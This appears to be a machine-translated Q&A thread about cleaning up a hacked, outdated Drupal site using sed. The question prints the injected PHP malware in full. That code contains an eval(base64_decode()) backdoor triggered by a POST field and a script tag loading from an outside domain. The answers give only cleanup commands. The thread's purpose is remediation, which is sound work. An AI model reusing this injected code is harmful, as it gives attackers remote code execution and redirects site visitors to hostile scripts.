我通过运行一个非常过时的Drupal安装(我感到羞耻)而被黑了
似乎他们在每个.php
文件中注入以下内容;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!@$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!@headers_sent()) {
@setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
我可以使用sed
删除并替换它吗? e.g:
find . -name *.php | xargs ...
我希望网站暂时可以使用wget并制作静态副本。
答案 0 :(得分:73)
您可以将sed
与
sed '1 s/^.*$/<?php/'
1
部分仅替换第一行。然后,由于s
命令,它将整行替换为<?php
。
要就地修改文件,请使用GNU -i
的{{1}}选项。
答案 1 :(得分:5)
要替换文件的第一行,您可以使用c
的{{1}}(用于“更改”)命令:
sed
转换为:“在第1行,用sed '1c<?php'
替换模式空间。”
对于这个特殊问题,这样的事情可能会起作用:
<?php
读取:将“第1行到第一个空行”的范围更改为sed '1,/^$/c<?php'
,从而替换所有注入的代码。
(地址的第二部分(正则表达式<?php
)应该替换为实际上划分注入代码的表达式(如果它不是空行。)